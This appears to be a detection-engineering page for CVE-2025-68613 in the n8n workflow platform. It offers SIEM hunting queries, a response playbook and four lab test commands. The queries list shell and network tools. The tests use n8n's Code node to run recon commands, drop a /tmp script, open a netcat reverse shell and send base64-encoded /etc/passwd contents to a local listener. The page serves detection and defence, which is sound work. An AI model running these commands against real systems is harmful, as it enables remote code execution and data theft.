n8n Improper Control of Dynamically-Managed Code Resources (CVE-2025-68613)
Detects exploitation of CVE-2025-68613, a critical vulnerability in n8n workflow automation platform where improper control of dynamically-managed code resources (CWE-913) allows attackers to execute arbitrary code. This vulnerability is actively exploited in the wild (CISA KEV). Attackers can abuse n8n's Code node or expression evaluation engine to break out of intended sandboxing and execute arbitrary system commands on the underlying host.
Vulnerability Intelligence
KEV — Known ExploitedAffected Software
- Vendor
- n8n
- Product
- n8n
Weakness (CWE)
Timeline
- Disclosed
- March 11, 2026
References & Proof of Concept
CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
What is CVE-2025-68613 n8n Improper Control of Dynamically-Managed Code Resources (CVE-2025-68613)?
n8n Improper Control of Dynamically-Managed Code Resources (CVE-2025-68613) (CVE-2025-68613) maps to the Execution and Lateral Movement and Impact tactics — the adversary is trying to run malicious code in MITRE ATT&CK.
This page provides production-ready detection logic for n8n Improper Control of Dynamically-Managed Code Resources (CVE-2025-68613), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, Microsoft Sentinel. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Execution Lateral Movement Impact
let n8n_processes = DeviceProcessEvents
| where FileName in~ ("node", "node.exe") or ProcessCommandLine has "n8n"
| project DeviceId, DeviceName, Timestamp, ProcessId, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName;
let suspicious_children = DeviceProcessEvents
| where InitiatingProcessFileName in~ ("node", "node.exe")
| where FileName in~ ("sh", "bash", "cmd.exe", "powershell.exe", "python", "python3", "wget", "curl", "nc", "ncat", "perl", "ruby")
or ProcessCommandLine has_any ("chmod", "chown", "/etc/passwd", "/etc/shadow", "base64", "whoami", "id", "net user", "net localgroup", "certutil", "bitsadmin")
| project DeviceId, DeviceName, Timestamp, ProcessId, FileName, ProcessCommandLine, InitiatingProcessId, InitiatingProcessFileName;
let n8n_network = DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("node", "node.exe")
| where RemotePort !in (5678, 443, 80, 8080)
| where RemoteIPType != "Private"
| project DeviceId, DeviceName, Timestamp, RemoteIP, RemotePort, RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine;
let n8n_file_writes = DeviceFileEvents
| where InitiatingProcessFileName in~ ("node", "node.exe")
| where FolderPath has_any ("/tmp", "/var/tmp", "C:\\Windows\\Temp", "%TEMP%", "/dev/shm")
or FileName has_any (".sh", ".ps1", ".bat", ".py", ".exe", ".elf")
| project DeviceId, DeviceName, Timestamp, FileName, FolderPath, InitiatingProcessFileName;
suspicious_children
| union (n8n_network | project DeviceId, DeviceName, Timestamp, ProcessId = 0, FileName = InitiatingProcessFileName, ProcessCommandLine = strcat(RemoteIP, ":", tostring(RemotePort)), InitiatingProcessId = 0, InitiatingProcessFileName)
| union (n8n_file_writes | project DeviceId, DeviceName, Timestamp, ProcessId = 0, FileName, ProcessCommandLine = FolderPath, InitiatingProcessId = 0, InitiatingProcessFileName)
| summarize EventCount = count(), FirstSeen = min(Timestamp), LastSeen = max(Timestamp), Commands = make_set(ProcessCommandLine, 20) by DeviceId, DeviceName, InitiatingProcessFileName
| where EventCount >= 1
| extend AlertTitle = "CVE-2025-68613: Potential n8n Code Execution Exploitation"
| project AlertTitle, DeviceName, DeviceId, FirstSeen, LastSeen, EventCount, Commands Detects n8n workflow automation processes spawning suspicious child processes, writing files to temporary directories, or making unexpected outbound network connections indicative of CVE-2025-68613 exploitation.
Data Sources
Required Tables
False Positives
- Legitimate n8n workflows that intentionally execute shell commands via the Execute Command node
- n8n instances used for DevOps automation that spawn child processes as part of normal workflow execution
- Security scanning tools that probe n8n API endpoints
- Administrators testing n8n Code node functionality in development environments
- n8n self-update mechanisms triggering process spawning
Sigma rule & cross-platform mapping
The detection logic for n8n Improper Control of Dynamically-Managed Code Resources (CVE-2025-68613) (CVE-2025-68613) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2025-68613
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1n8n Code Node Shell Command Execution
Expected signal: Sysmon Event ID 1 showing node process spawning sh or bash child process with command arguments containing 'id', 'whoami', 'hostname'
- Test 2n8n Expression Evaluator File Write to Temp Directory
Expected signal: Sysmon Event ID 11 (FileCreate) showing node process creating a .sh file in /tmp, followed by Event ID 1 showing chmod +x execution
- Test 3n8n Code Node Reverse Shell Simulation (Netcat)
Expected signal: Sysmon Event ID 1 showing node.js spawning nc/ncat process with -e flag and IP/port arguments; Sysmon Event ID 3 showing network connection from node process to 127.0.0.1:4444
- Test 4n8n Credential Exfiltration Simulation via HTTP
Expected signal: Sysmon Event ID 1 showing node spawning bash then curl with base64-encoded data arguments; Sysmon Event ID 3 showing network connection from curl to external host on port 9999
Response Playbook
Triage
- Identify the n8n instance version and confirm whether it is unpatched for CVE-2025-68613; check the n8n admin panel at port 5678 for version information and cross-reference against the vendor advisory.
- Review n8n workflow execution logs to identify which workflow triggered the anomalous process spawning, noting the workflow ID, triggering user account, and exact Code node or expression content executed.
- Determine the network exposure of the n8n instance — assess whether it is internet-facing, check firewall rules and reverse proxy configuration, and identify if the exploit was triggered via webhook, API call, or direct UI interaction.
- Correlate the suspicious child process events with n8n's internal execution logs (typically at ~/.n8n/ or /root/.n8n/) to establish the exact payload used and timeline of exploitation.
- Check for lateral movement indicators: review outbound network connections from the n8n host, new SSH keys added to authorized_keys, cron job modifications, and new user accounts created post-exploitation.
Containment
- Immediately isolate the affected n8n host from the network if active exploitation is confirmed, or disable internet-facing access to port 5678 at the firewall/load balancer level to prevent further exploitation while preserving forensic evidence.
- Suspend or disable the affected n8n workflow(s) identified during triage via the n8n admin interface, and revoke any API keys or webhook tokens associated with the triggered workflow to prevent re-exploitation.
- Rotate all secrets accessible to the n8n process, including database credentials, API tokens stored in n8n credentials manager, and any cloud provider keys that may have been exfiltrated.
Evidence Collection
- Collect n8n execution logs from the n8n data directory (~/.n8n/logs/ or configured LOG_FILE path), capturing full workflow execution history including Code node inputs/outputs for forensic analysis.
- Capture process tree snapshots, open network connections (netstat/ss output), running processes (ps auxf), and scheduled tasks (crontab -l, systemctl list-timers) from the affected host before remediation to preserve attacker persistence mechanisms.
- Export n8n database contents (SQLite at ~/.n8n/database.sqlite or PostgreSQL depending on configuration) to preserve workflow definitions, credentials metadata, and execution history as forensic evidence.
Escalation Criteria
- ! Escalate immediately to incident response if evidence of lateral movement is found — specifically if attacker-controlled processes accessed credentials stores, established reverse shells to external IPs, or modified authentication mechanisms on the host.
- ! Escalate to CISO and legal if n8n credentials manager contained third-party service API keys, cloud provider credentials, or database passwords, as these may have been exfiltrated enabling broader compromise beyond the initial n8n host.
Investigation Guide
Forensic Artifacts
- >
n8n execution database at ~/.n8n/database.sqlite containing workflow definitions with malicious Code node payloads - >
Process execution logs showing node.js spawning unexpected child processes (bash, sh, curl, wget) with suspicious arguments - >
n8n application logs at ~/.n8n/logs/ showing workflow execution events with unusual Code node content or expression evaluation errors - >
Network connection logs showing outbound connections from the n8n process to attacker-controlled infrastructure on non-standard ports - >
New files written to /tmp, /var/tmp, or /dev/shm by the n8n process indicating dropped payloads or reverse shell scripts
Tuning Guidance
Reduce false positives by building an allowlist of authorized n8n workflow IDs and their expected child process names from your n8n workflow inventory. Correlate process events with n8n's workflow execution logs to distinguish legitimate Code node usage from exploitation. Consider deploying n8n with a dedicated service account with minimal OS privileges (no shell, no sudo) so that even successful exploitation yields limited impact, and alert on any process execution by that service account outside of expected patterns. Apply threshold tuning based on your organization's n8n usage patterns — high-volume automation environments may need to scope detection to specific child process names (e.g., only alert on reverse shell indicators like nc/ncat with -e flags, or /etc/passwd access) rather than all child spawning.
Hunting Queries
Hunt for unexpected outbound network connections from n8n Node.js processes to external IP addresses on non-standard ports, which may indicate command-and-control communication established post-exploitation of CVE-2025-68613.
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("node", "node.exe")
| where Timestamp > ago(7d)
| where RemoteIPType != "Private"
| where RemotePort !in (80, 443, 5678, 8080, 8443)
| summarize ConnectionCount = count(), DestinationPorts = make_set(RemotePort), DestinationIPs = make_set(RemoteIP) by DeviceName, InitiatingProcessCommandLine
| where ConnectionCount >= 1
| sort by ConnectionCount desc index=* sourcetype IN ("sysmon", "linux:audit") EventCode=3
| eval parent=coalesce(Image, process_name)
| where match(parent, "(?i)node(\.exe)?$")
| where NOT match(DestinationIp, "^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)")
| where NOT DestinationPort IN (80, 443, 5678, 8080, 8443)
| stats count BY host, parent, DestinationIp, DestinationPort, DestinationHostname
| sort -count Hunt for n8n Node.js processes writing executable files to temporary directories, which indicates an attacker dropped a payload or persistence mechanism after exploiting CVE-2025-68613.
DeviceFileEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("node", "node.exe")
| where FolderPath has_any ("/tmp/", "/var/tmp/", "/dev/shm/", "C:\\Windows\\Temp\\", "C:\\Users\\Public\\")
| where FileName has_any (".sh", ".py", ".pl", ".rb", ".elf", ".exe", ".ps1", ".bat")
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessCommandLine, SHA256 index=* sourcetype="sysmon" EventCode=11
| eval parent=coalesce(Image, process_name)
| where match(parent, "(?i)node(\.exe)?$")
| where match(TargetFilename, "(?i)(\/tmp\/|\/var\/tmp\/|\/dev\/shm\/|Temp\\\\|Public\\\\)")
| where match(TargetFilename, "(?i)\.(sh|py|pl|rb|elf|exe|ps1|bat)$")
| table _time, host, parent, TargetFilename, MD5, SHA256 Atomic Red Team Tests
Simulates CVE-2025-68613 exploitation by executing a Code node in n8n that spawns a child process to run system reconnaissance commands. This tests whether endpoint detection identifies node.js spawning shell utilities.
Command
curl -s -X POST http://localhost:5678/rest/workflows -H 'Content-Type: application/json' -H 'X-N8N-API-KEY: YOUR_API_KEY' -d '{"name":"CVE-2025-68613-Test","nodes":[{"id":"1","name":"Code","type":"n8n-nodes-base.code","typeVersion":2,"position":[250,300],"parameters":{"jsCode":"const { execSync } = require(\"child_process\"); const output = execSync(\"id && whoami && hostname\").toString(); return [{json:{output}}];"}}],"connections":{},"active":false}' && sleep 2 && curl -s -X POST http://localhost:5678/rest/workflows/WORKFLOW_ID/activate -H 'X-N8N-API-KEY: YOUR_API_KEY' Cleanup
curl -s -X DELETE http://localhost:5678/rest/workflows/WORKFLOW_ID -H 'X-N8N-API-KEY: YOUR_API_KEY' Expected Telemetry
Sysmon Event ID 1 showing node process spawning sh or bash child process with command arguments containing 'id', 'whoami', 'hostname'
Expected Detection
Alert fires on suspicious child process spawned from n8n node.js parent with reconnaissance command arguments
Tests detection of n8n Code node writing an executable file to /tmp, simulating a payload drop stage of CVE-2025-68613 post-exploitation.
Command
curl -s -X POST http://localhost:5678/rest/workflows -H 'Content-Type: application/json' -H 'X-N8N-API-KEY: YOUR_API_KEY' -d '{"name":"CVE-2025-68613-FileWrite-Test","nodes":[{"id":"1","name":"Code","type":"n8n-nodes-base.code","typeVersion":2,"position":[250,300],"parameters":{"jsCode":"const fs = require(\"fs\"); fs.writeFileSync(\"/tmp/n8n_test_artifact.sh\", \"#!/bin/bash\\necho pwned\"); const { execSync } = require(\"child_process\"); execSync(\"chmod +x /tmp/n8n_test_artifact.sh\"); return [{json:{status:\"written\"}}];"}}],"connections":{},"active":false}' && sleep 2 && curl -s -X POST http://localhost:5678/rest/workflows/WORKFLOW_ID/run -H 'X-N8N-API-KEY: YOUR_API_KEY' -d '{}' Cleanup
rm -f /tmp/n8n_test_artifact.sh && curl -s -X DELETE http://localhost:5678/rest/workflows/WORKFLOW_ID -H 'X-N8N-API-KEY: YOUR_API_KEY' Expected Telemetry
Sysmon Event ID 11 (FileCreate) showing node process creating a .sh file in /tmp, followed by Event ID 1 showing chmod +x execution
Expected Detection
File write detection fires on executable script written to temporary directory by n8n node.js process
Simulates the reverse shell establishment phase of CVE-2025-68613 exploitation by having the n8n Code node invoke netcat. Use only in an isolated lab environment with a controlled listener.
Command
nc -lvnp 4444 & export LISTENER_PID=$! && curl -s -X POST http://localhost:5678/rest/workflows -H 'Content-Type: application/json' -H 'X-N8N-API-KEY: YOUR_API_KEY' -d '{"name":"CVE-2025-68613-RevShell-Test","nodes":[{"id":"1","name":"Code","type":"n8n-nodes-base.code","typeVersion":2,"position":[250,300],"parameters":{"jsCode":"const { execSync } = require(\"child_process\"); try { execSync(\"nc 127.0.0.1 4444 -e /bin/bash\", {timeout: 3000}); } catch(e) {} return [{json:{attempted:true}}];"}}],"connections":{},"active":false}' && sleep 5 && kill $LISTENER_PID 2>/dev/null; true Cleanup
kill $LISTENER_PID 2>/dev/null; curl -s -X DELETE http://localhost:5678/rest/workflows/WORKFLOW_ID -H 'X-N8N-API-KEY: YOUR_API_KEY' Expected Telemetry
Sysmon Event ID 1 showing node.js spawning nc/ncat process with -e flag and IP/port arguments; Sysmon Event ID 3 showing network connection from node process to 127.0.0.1:4444
Expected Detection
Process creation detection fires on nc spawned from n8n with -e shell argument; network detection may also fire on the TCP connection event
Tests detection of CVE-2025-68613 post-exploitation data exfiltration by simulating an attacker reading sensitive files and sending them to an external endpoint via the n8n Code node.
Command
python3 -m http.server 9999 &>/dev/null & export HTTPD_PID=$! && curl -s -X POST http://localhost:5678/rest/workflows -H 'Content-Type: application/json' -H 'X-N8N-API-KEY: YOUR_API_KEY' -d '{"name":"CVE-2025-68613-Exfil-Test","nodes":[{"id":"1","name":"Code","type":"n8n-nodes-base.code","typeVersion":2,"position":[250,300],"parameters":{"jsCode":"const { execSync } = require(\"child_process\"); const data = execSync(\"cat /etc/passwd | head -3\").toString(); execSync(`curl -s -X POST http://127.0.0.1:9999 -d \"${Buffer.from(data).toString(\"base64\")}\"`); return [{json:{exfiltrated:true}}];"}}],"connections":{},"active":false}' && sleep 2 && curl -s -X POST http://localhost:5678/rest/workflows/WORKFLOW_ID/run -H 'X-N8N-API-KEY: YOUR_API_KEY' -d '{}' && sleep 3 && kill $HTTPD_PID 2>/dev/null; true Cleanup
kill $HTTPD_PID 2>/dev/null; curl -s -X DELETE http://localhost:5678/rest/workflows/WORKFLOW_ID -H 'X-N8N-API-KEY: YOUR_API_KEY' Expected Telemetry
Sysmon Event ID 1 showing node spawning bash then curl with base64-encoded data arguments; Sysmon Event ID 3 showing network connection from curl to external host on port 9999
Expected Detection
Detection fires on node.js spawning bash reading /etc/passwd followed by curl exfiltration; network detection may also trigger on outbound HTTP from n8n process